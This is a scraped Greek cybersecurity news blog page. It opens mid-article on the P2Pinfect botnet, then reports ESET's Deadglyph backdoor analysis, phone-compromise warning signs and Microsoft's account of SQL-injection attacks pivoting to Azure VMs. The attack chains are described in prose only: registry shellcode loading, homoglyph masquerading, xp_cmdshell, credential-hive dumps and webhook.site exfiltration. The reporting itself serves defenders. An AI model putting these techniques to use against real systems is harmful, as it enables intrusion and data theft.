Επιπλέον, το P2Pinfect χρησιμοποιεί τώρα ένα (δευτερεύον) ωφέλιμο φορτίο bash για να επικοινωνεί με το κύριο ωφέλιμο φορτίο μέσω μιας τοπικής υποδοχής διακομιστή και αν η κύρια διεργασία σταματήσει ή διαγραφεί, ανακτά ένα αντίγραφο από έναν ομότιμο και το επανεκκινεί. Το κακόβουλο λογισμικό χρησιμοποιεί τώρα επίσης ένα κλειδί SSH για να αντικαταστήσει τυχόν SSH authorized_keys στο παραβιασμένο τελικό σημείο για να εμποδίσει τους νόμιμους χρήστες να συνδεθούν μέσω SSH.

Εάν το κακόβουλο λογισμικό έχει πρόσβαση root, θα πραγματοποιήσει αλλαγή κωδικού πρόσβασης για όλους τους άλλους χρήστες στο σύστημα χρησιμοποιώντας έναν αυτόματα δημιουργούμενο κωδικό πρόσβασης 10 χαρακτήρων για να τους αποκλείσει. Τέλος, το P2PInfect χρησιμοποιεί τώρα μια δομή διαμόρφωσης C για τον πελάτη του που ενημερώνεται δυναμικά στη μνήμη, ενώ προηγουμένως δεν είχε αρχείο διαμόρφωσης.

Ασαφείς στόχοι

Η Cado αναφέρει ότι οι παραλλαγές του P2PInfect που παρατήρησε πρόσφατα επιχείρησαν να αντλήσουν ένα ωφέλιμο φορτίο εξόρυξης, αλλά δεν είδαν πραγματική δραστηριότητα κρυπτοεξόρυξης σε συσκευές που έχουν παραβιαστεί. Ως εκ τούτου, δεν είναι σαφές εάν οι χειριστές κακόβουλου λογισμικού εξακολουθούν να πειραματίζονται με το τελικό βήμα της επίθεσης. Οι χειριστές του botnet μπορεί να βελτιώνουν το συστατικό του miner ή να αναζητούν αγοραστές συνδρομών στο P2PInfect, οπότε χρησιμοποιούν τον miner ως ομοίωμα για επίδειξη. Δεδομένου του μεγέθους του τρέχοντος botnet, της εξάπλωσης, των αυτο-ενημερωτικών χαρακτηριστικών και της γρήγορης επέκτασης αυτό το μήνα, το P2PInfect αποτελεί μια ουσιαστική απειλή που πρέπει να παρακολουθείτε.

Related posts:

Θύμα επίθεσης το papaki.gr, δημοφιλής υπηρεσία καταχώρησης domains στη χώρα μας Η Μεγαλύτερη Συνεργασία Χάκερ στην Ιστορία: Μαζική Κυβερνοεπίθεση κατά Βαλτικής & Πολωνίας Τα πάντα σχετικά με το RFID και τις νέες ταυτότητες Αλήθειες και μύθοι σχετικά με το hacking

Αλήθειες και μύθοι σχετικά με το hacking

Τρόποι αντιμετώπισης

Τρόποι αντιμετώπισης

Τρόποι αντιμετώπισης

Τρόποι αντιμετώπισης

Τρόποι αντιμετώπισης

Πόσο μεγάλο ρίσκο αναλαμβάνουμε ως χρήστες ή ως εταιρεία;

Πηγή: newsbomb.gr

Related posts:

Θύμα επίθεσης το papaki.gr, δημοφιλής υπηρεσία καταχώρησης domains στη χώρα μας Τι είναι οι επιθέσεις «ψαρέματος» και πως να τις αποφύγουμε. Προστατεύοντας την Επιχείρησή σας: Η Σημασία της Κυβερνοασφάλειας Το Metasploit: Ένα Ισχυρό Εργαλείο για Την Κυβερνοασφάλεια

Deadglyph – Νέο κακόβουλο λογισμικό που χρησιμοποιείται σε κυβερνητικές επιθέσεις

Ένα νέο και εξελιγμένο κακόβουλο λογισμικό backdoor με την ονομασία “Deadglyph” χρησιμοποιήθηκε σε μια επίθεση κυβερνοκατασκοπείας εναντίον μιας κυβερνητικής υπηρεσίας στη Μέση Ανατολή.

Το κακόβουλο λογισμικό Deadglyph αποδίδεται στην APT Stealth Falcon (ή αλλιώς Project Raven ή FruityArmor), μια κρατικά χρηματοδοτούμενη ομάδα χάκερ από τα Ηνωμένα Αραβικά Εμιράτα (ΗΑΕ).

Η ομάδα hacking είναι γνωστή για τη στοχοποίηση ακτιβιστών, δημοσιογράφων και αντιφρονούντων εδώ και σχεδόν μια δεκαετία.

Σε μια νέα έκθεση που δημοσιεύθηκε στο συνέδριο κυβερνοασφάλειας LABScon, ο ερευνητής της ESET Filip Jurčacko μοιράζεται ανάλυση του νέου αρθρωτού κακόβουλου λογισμικού και του τρόπου με τον οποίο μολύνει συσκευές Windows.

Επιθέσεις Deadglyph

Η ESET δεν έχει εικόνα για τα μέσα της αρχικής μόλυνσης, αλλά υπάρχει η υποψία ότι χρησιμοποιείται ένα κακόβουλο εκτελέσιμο αρχείο, πιθανώς ένα πρόγραμμα εγκατάστασης.

Ωστόσο, η ESET απέκτησε τα περισσότερα από τα συστατικά της αλυσίδας μόλυνσης για να σχηματίσει μια εικόνα του τρόπου με τον οποίο το κακόβουλο λογισμικό λειτουργεί και προσπαθεί να αποφύγει την ανίχνευση.

Η αλυσίδα φόρτωσης του Deadglyph ξεκινά με έναν φορτωτή shellcode του μητρώου (DLL) που εξάγει κώδικα από το μητρώο των Windows για να φορτώσει το συστατικό Executor (x64), το οποίο με τη σειρά του φορτώνει το συστατικό Orchestrator (.NET).

Μόνο το αρχικό συστατικό υπάρχει στο δίσκο του μολυσμένου συστήματος ως αρχείο DLL, ελαχιστοποιώντας την πιθανότητα εντοπισμού.

Η ESET αναφέρει ότι ο φορτωτής θα φορτώσει τον shellcode από το μητρώο των Windows, το οποίο είναι κρυπτογραφημένο για να κάνει την ανάλυση πιο δύσκολη.

Καθώς το συστατικό DLL αποθηκεύεται στο σύστημα αρχείων, είναι πιο πιθανό να εντοπιστεί. Εξαιτίας αυτού, οι απειλητικοί φορείς χρησιμοποίησαν μια ομογλυφική επίθεση στον πόρο VERSIONINFO χρησιμοποιώντας διακριτούς ελληνικούς και κυριλλικούς χαρακτήρες Unicode για να μιμηθούν τις πληροφορίες της Microsoft και να εμφανιστούν ως νόμιμο αρχείο των Windows.

Το στοιχείο Executor φορτώνει κρυπτογραφημένες με AES διαμορφώσεις για την κερκόπορτα, αρχικοποιεί το .NET runtime στο σύστημα, φορτώνει το .NET τμήμα της κερκόπορτας και ενεργεί ως βιβλιοθήκη της.

Τέλος, το Orchestrator είναι υπεύθυνο για τις επικοινωνίες του διακομιστή εντολών και ελέγχου (C2), χρησιμοποιώντας δύο ενότητες για την εργασία αυτή, το ‘Timer’ και το ‘Network’.

Εάν η κερκόπορτα δεν καταφέρει να δημιουργήσει επικοινωνία με τον διακομιστή C2 μετά από ένα καθορισμένο χρονικό διάστημα, ενεργοποιεί έναν μηχανισμό αυτοαφαίρεσης για να αποτρέψει την ανάλυσή της από ερευνητές και ειδικούς σε θέματα κυβερνοασφάλειας.

Αρθρωτό κακόβουλο λογισμικό

Το κακόβουλο λογισμικό Deadglyph είναι αρθρωτό, δηλαδή θα κατεβάζει νέες ενότητες από το C2 που περιέχουν διαφορετικούς κωδικούς κελύφους για να εκτελεστούν από το στοιχείο Executor.

Η χρήση μιας σπονδυλωτής προσέγγισης επιτρέπει στους φορείς απειλών να δημιουργούν νέες ενότητες ανάλογα με τις ανάγκες για να προσαρμόζουν τις επιθέσεις, οι οποίες μπορούν στη συνέχεια να προωθηθούν στα θύματα για να εκτελέσουν πρόσθετες κακόβουλες λειτουργίες.

Αυτές οι ενότητες έχουν στη διάθεσή τους τα Windows και τα προσαρμοσμένα API του Executor, με το τελευταίο να προσφέρει 39 λειτουργίες που καθιστούν δυνατή την εκτέλεση λειτουργιών αρχείων, τη φόρτωση εκτελέσιμων αρχείων, την πρόσβαση σε Token Impersonation και την εκτέλεση κρυπτογράφησης και κατακερματισμού.

Η ESET πιστεύει ότι υπάρχουν εννέα έως δεκατέσσερις διαφορετικές ενότητες, αλλά μπόρεσε να αποκτήσει μόνο τρεις: έναν δημιουργό διεργασιών, έναν συλλέκτη πληροφοριών και έναν αναγνώστη αρχείων.

Ο συλλέκτης πληροφοριών χρησιμοποιεί ερωτήματα WMI για να τροφοδοτήσει τον Orchestrator με τις ακόλουθες πληροφορίες σχετικά με το παραβιασμένο σύστημα:

• operating system
• network adapters
• installed software
• drives
• services
• drivers
• processes
• users
• environment variables
• security software

Ο δημιουργός διεργασιών είναι ένα εργαλείο εκτέλεσης εντολών που εκτελεί καθορισμένες εντολές ως νέα διεργασία και δίνει το αποτέλεσμα στον Orchestrator.

Η μονάδα ανάγνωσης αρχείων διαβάζει το περιεχόμενο των αρχείων και το παραδίδει στον Orchestrator, ενώ δίνει επίσης στους χειριστές τη δυνατότητα να διαγράψουν το αρχείο μετά την ανάγνωση.

Παρόλο που η ESET κατάφερε να αποκαλύψει μόνο ένα μέρος των δυνατοτήτων του κακόβουλου λογισμικού, είναι σαφές ότι το Deadglyph του Stealth Falcon είναι μια τρομερή απειλή.

Χωρίς λεπτομερείς πληροφορίες σχετικά με την αρχική μόλυνση, η προσφορά συγκεκριμένων στρατηγικών άμυνας κατά του κακόβουλου λογισμικού είναι αδύνατη.

Προς το παρόν, οι αμυντικοί μπορούν να βασίζονται στις υπάρχουσες IoC που δημοσιεύονται στην έκθεση.

Related posts:

Νέο backdoor του WordPress δημιουργεί λογαριασμό διαχειριστή για να κλέψει ιστότοπους Η Μεγαλύτερη Συνεργασία Χάκερ στην Ιστορία: Μαζική Κυβερνοεπίθεση κατά Βαλτικής & Πολωνίας Τα πάντα σχετικά με το RFID και τις νέες ταυτότητες Αλήθειες και μύθοι σχετικά με το hacking

Ένας χάκερ εξηγεί πώς να καταλάβετε αν το τηλέφωνό σας έχει παραβιαστεί

Η Laura Kankaala, μία ethical white hat χάκερ, έχει εκπαιδευτεί στον τομέα του ηθικού χάκινγκ, χρησιμοποιώντας ωστόσο κακόβουλες τεχνικές με σκοπό να προστατεύσει τον απλό πολίτη και να διασφαλίσει την ασφάλειά του.

Η Laura, που διατελεί επικεφαλής Threat Intelligence για τη φινλανδική εταιρεία κυβερνοασφάλειας F-Secure, έχει προειδοποιήσει ότι η υπερθέρμανση μιας συσκευής ή ένα τυχαίο πράσινο φως στην οθόνη μπορεί να υποδεικνύει παρακολούθηση από κάποιον.

Άλλα πιθανά σημάδια περιλαμβάνουν συγκεκριμένα emails και τηλεφωνικές κλήσεις, για τις οποίες είναι σημαντικό να διατηρούμε προσοχή.

Η Kankaala είναι η ηγέτης της φινλανδικής ομάδας χάκερ KyberVPK, που χαρακτηρίζεται ως “white hat” (σε αντίθεση με τους εγκληματίες γνωστούς ως “black hat”). Έχει εμφανιστεί σε μια τηλεοπτική σειρά, όπου πραγματοποιεί χάκινγκ επιθέσεις σε όλα, από έξυπνες συσκευές για το σπίτι έως αυτοκίνητα.

Σύμφωνα με την Kankaala, “Αν ένας ηθικός χάκερ καταφέρει να αποκτήσει πρόσβαση στο τηλέφωνό σας, θα σας ενημερώσει άμεσα και θα σας βοηθήσει να αφαιρέσετε τη μη εξουσιοδοτημένη πρόσβασή του”.

“Εάν παρατηρήσετε ένα πράσινο φωτάκι στην οθόνη του Android ή ένα πορτοκαλί φωτάκι στο iPhone, μπορεί να αποτελεί προειδοποιητικό σημάδι ότι έχετε πέσει θύμα χάκινγκ, ή ότι κάποιος έχει εγκαταστήσει μια αμφίβολη εφαρμογή στο τηλέφωνό σας”, προσθέτει.

Η Kankaala επισημαίνει ότι αυτές οι προειδοποιητικές ένδειξεις εμφανίζονται κατά τη χρήση του μικροφώνου ή της κάμερας της συσκευής, αποτελώντας ένδειξη ύπαρξης κακόβουλου λογισμικού με σκοπό την κατασκοπεία.

Οι χάκερς αποτελούν συνεχή απειλή για την ασφάλεια των ψηφιακών μας ζωών. Ένα από τα κύρια είδη κινδύνων που προκύπτουν από τους χάκερς είναι η κλοπή ταυτότητας, καθώς αποκτούν πρόσβαση σε προσωπικά μας δεδομένα. Με αυτά, μπορούν να προσομοιώσουν την ταυτότητά μας και να προβαίνουν σε απάτες ή κλοπές.

Ένας άλλος κίνδυνος προκύπτει από την πιθανή καταστροφή ή παρεμπόδιση των ψηφιακών υποδομών, με δυνητικές σοβαρές επιπτώσεις στην κοινωνία και την οικονομία.

Επιπλέον, οι χάκερς μπορούν να προκαλέσουν οικονομική ζημιά μέσω κλοπής χρημάτων ή απάτης σε ψηφιακές συναλλαγές, εισβάλλοντας σε τραπεζικούς λογαριασμούς ή ηλεκτρονικά καταστήματα.

Τέλος, οι χάκερς μπορούν να παραβιάσουν την ιδιωτικότητά μας και να παρακολουθούν τις δραστηριότητές μας στο διαδίκτυο, θέτοντας σε κίνδυνο την προσωπική ζωή και την επαγγελματική μας δραστηριότητα.

Related posts:

Θύμα επίθεσης το papaki.gr, δημοφιλής υπηρεσία καταχώρησης domains στη χώρα μας Η Μεγαλύτερη Συνεργασία Χάκερ στην Ιστορία: Μαζική Κυβερνοεπίθεση κατά Βαλτικής & Πολωνίας Τα πάντα σχετικά με το RFID και τις νέες ταυτότητες Αλήθειες και μύθοι σχετικά με το hacking

Οι χάκερς στοχεύουν Azure cloud VMs μέσω παραβιασμένων διακομιστών SQL

Οι χάκερς έχουν παρατηρηθεί να προσπαθούν να παραβιάσουν περιβάλλοντα cloud μέσω των Microsoft SQL Servers που είναι ευάλωτοι σε SQL injection.

Οι ερευνητές ασφαλείας της Microsoft αναφέρουν ότι αυτή η τεχνική πλευρικής κίνησης έχει παρατηρηθεί στο παρελθόν σε επιθέσεις σε άλλες υπηρεσίες όπως VMs και Kubernetes clusters.

Ωστόσο, είναι η πρώτη φορά που βλέπουν SQL Servers να αξιοποιούνται για αυτόν τον σκοπό.

Αλυσιδωτή επίθεση

Οι επιθέσεις που παρατήρησε η Microsoft ξεκινούν με την εκμετάλλευση μιας ευπάθειας έγχυσης SQL σε μια εφαρμογή στο περιβάλλον του στόχου.

Αυτό επιτρέπει στους φορείς απειλής να αποκτήσουν πρόσβαση στην παρουσία του SQL Server που φιλοξενείται στην εικονική μηχανή Azure με αυξημένα δικαιώματα για την εκτέλεση εντολών SQL και την εξαγωγή πολύτιμων δεδομένων.

Αυτά περιλαμβάνουν δεδομένα σχετικά με βάσεις δεδομένων, ονόματα πινάκων, σχήματα, εκδόσεις βάσεων δεδομένων, ρυθμίσεις δικτύου και δικαιώματα ανάγνωσης/εγγραφής/διαγραφής.

Εάν η παραβιασμένη εφαρμογή έχει αυξημένα δικαιώματα, οι επιτιθέμενοι μπορούν να ενεργοποιήσουν την εντολή ‘xp_cmdshell’ για την εκτέλεση εντολών του λειτουργικού συστήματος (OS) μέσω SQL, δίνοντάς τους ένα κέλυφος στον κεντρικό υπολογιστή.

Οι εντολές που εκτελούνται από τους επιτιθέμενους σε αυτό το στάδιο περιλαμβάνουν τις εξής:

• Ανάγνωση καταλόγων, απαρίθμηση διεργασιών και έλεγχος κοινοτήτων δικτύου.
• Λήψη κωδικοποιημένων και συμπιεσμένων εκτελέσιμων αρχείων και σεναρίων PowerShell.
• Ρυθμίστε μια προγραμματισμένη εργασία για την εκκίνηση ενός backdoor script.
• Ανάκτηση των διαπιστευτηρίων χρήστη με απόρριψη των κλειδιών μητρώου SAM και SECURITY.
• Διασπάστε δεδομένα χρησιμοποιώντας μια μοναδική μέθοδο που περιλαμβάνει τη δωρεάν υπηρεσία “webhook.site”, η οποία διευκολύνει την επιθεώρηση και την αποσφαλμάτωση αιτημάτων HTTP και μηνυμάτων ηλεκτρονικού ταχυδρομείου.

Η χρήση μιας νόμιμης υπηρεσίας για την εκροή δεδομένων καθιστά τη δραστηριότητα λιγότερο πιθανό να φανεί ύποπτη ή να προκαλέσει προβλήματα στα προϊόντα ασφαλείας, επιτρέποντας στους επιτιθέμενους να κλέψουν διακριτικά δεδομένα από τον κεντρικό υπολογιστή.

Στη συνέχεια, οι επιτιθέμενοι επιχείρησαν να εκμεταλλευτούν την ταυτότητα cloud της παρουσίας του SQL Server για να αποκτήσουν πρόσβαση στο IMDS (Instant Metadata Service) και να αποκτήσουν το κλειδί πρόσβασης στην ταυτότητα cloud.

Στο Azure, στους πόρους συχνά εκχωρούνται διαχειριζόμενες ταυτότητες για τον έλεγχο ταυτότητας με άλλους πόρους και υπηρεσίες cloud. Εάν οι επιτιθέμενοι κατέχουν αυτό το κλειδί, μπορούν να το χρησιμοποιήσουν για να αποκτήσουν πρόσβαση σε οποιονδήποτε πόρο cloud, στον οποίο η ταυτότητα έχει δικαιώματα.

Η Microsoft αναφέρει ότι οι επιτιθέμενοι δεν κατάφεραν να αξιοποιήσουν επιτυχώς αυτή την τεχνική λόγω σφαλμάτων, αλλά η προσέγγιση παραμένει έγκυρη και αποτελεί τρομερή απειλή για τους οργανισμούς.

Τέλος, οι φορείς της απειλής διέγραψαν όλα τα σενάρια που κατέβασαν και έσβησαν τις προσωρινές τροποποιήσεις της βάσης δεδομένων για να σβήσουν τα ίχνη της επίθεσης.

Συμβουλές Προστασίας

Η Microsoft προτείνει τη χρήση του Defender for Cloud και του Defender for Endpoint για να εντοπίσετε τις ενέσεις SQL και την ύποπτη δραστηριότητα SQLCMD, που χρησιμοποιήθηκαν και οι δύο στην επίθεση που παρατηρήθηκε.

Για τον μετριασμό της απειλής, η Microsoft συνιστά την εφαρμογή της αρχής των λιγότερων προνομίων κατά τη χορήγηση δικαιωμάτων χρήστη, η οποία πάντα προσθέτει τριβή στις προσπάθειες πλευρικής μετακίνησης.

Related posts:

Η BlackCat ransomware μολύνει το Azure Storage με το Sphynx encryptor Η Μεγαλύτερη Συνεργασία Χάκερ στην Ιστορία: Μαζική Κυβερνοεπίθεση κατά Βαλτικής & Πολωνίας Τα πάντα σχετικά με το RFID και τις νέες ταυτότητες Αλήθειες και μύθοι σχετικά με το hacking